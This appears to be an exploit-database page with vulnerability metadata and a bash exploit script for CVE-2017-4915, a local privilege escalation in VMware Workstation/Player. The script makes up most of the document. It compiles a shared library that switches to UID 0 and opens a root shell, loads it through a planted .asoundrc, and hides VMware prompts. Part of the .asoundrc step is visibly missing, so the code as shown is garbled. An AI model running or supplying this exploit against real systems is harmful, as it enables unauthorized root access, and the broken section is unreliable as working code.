VMware Workstation/Player < 12.5.5 Local Privilege Escalation

2019.07.29
Credit: Anonymous
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/bin/bash ################################################################################ # VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915) # # - https://www.vmware.com/security/advisories/VMSA-2017-0009.html # # - https://www.exploit-db.com/exploits/42045/ # # # # Affects: # # - VMware Workstation Player <= 12.5.5 # # - VMware Workstation Pro <= 12.5.5 # ################################################################################ # ~ bcoles VM_PLAYER=/usr/bin/vmplayer GCC=/usr/bin/gcc RAND_STR=$(echo $RANDOM | tr '[0-9]' '[a-zA-Z]') VM_DIR=$HOME/.$RAND_STR echo "[*] Creating directory $VM_DIR" mkdir "$VM_DIR" if [ $? -ne 0 ] ; then echo "[-] Could not create $VM_DIR" exit 1 fi echo "[*] Writing $VM_DIR/$RAND_STR.c" cat > "$VM_DIR/$RAND_STR.c" <<EOL #define _GNU_SOURCE #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <err.h> extern char *program_invocation_short_name; __attribute__((constructor)) void run(void) { uid_t ruid, euid, suid; if (getresuid(&ruid, &euid, &suid)) err(1, "getresuid"); printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid); if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); printf("switched to root UID and GID"); system("/bin/bash"); _exit(0); } } EOL echo "[*] Compiling $VM_DIR/$RAND_STR.c" $GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99 if [ $? -ne 0 ] ; then echo "[-] Compilation failed" exit 1 fi echo "[*] Removing $VM_DIR/$RAND_STR.c" rm "$VM_DIR/$RAND_STR.c" echo "[*] Writing $HOME/.asoundrc" lib "$VM_DIR/$RAND_STR.so" func "conf_pulse_hook_load_if_running" } EOL echo "[*] Writing $VM_DIR/$RAND_STR.vmx" cat > "$VM_DIR/$RAND_STR.vmx" <<EOL .encoding = "UTF-8" config.version = "8" virtualHW.version = "8" scsi0.present = "FALSE" memsize = "4" ide0:0.present = "FALSE" sound.present = "TRUE" sound.fileName = "-1" sound.autodetect = "TRUE" vmci0.present = "FALSE" hpet0.present = "FALSE" displayName = "$RAND_STR" guestOS = "other" nvram = "$RAND_STR.nvram" virtualHW.productCompatibility = "hosted" gui.exitOnCLIHLT = "FALSE" powerType.powerOff = "soft" powerType.powerOn = "soft" powerType.suspend = "soft" powerType.reset = "soft" floppy0.present = "FALSE" monitor_control.disable_longmode = 1 EOL echo "[*] Disabling VMware hint popups" if [ ! -d "$HOME/.vmware" ]; then mkdir "$HOME/.vmware" fi if [ -f "$HOME/.vmware/preferences" ]; then if grep -qi "hints.hideall" "$HOME/.vmware/preferences"; then sed -i 's/hints\.hideAll\s*=\s*"FALSE"/hints.hideAll = "TRUE"/i' "$HOME/.vmware/preferences" else echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences" fi else echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences" echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences" echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences" fi echo "[*] Launching VMware Player..." $VM_PLAYER "$VM_DIR/$RAND_STR.vmx" echo "[*] Removing $HOME/.asoundrc" rm "$HOME/.asoundrc" echo "[!] Remove $VM_DIR when you're done" rmdir "$VM_DIR" ################################################################################ # EOF


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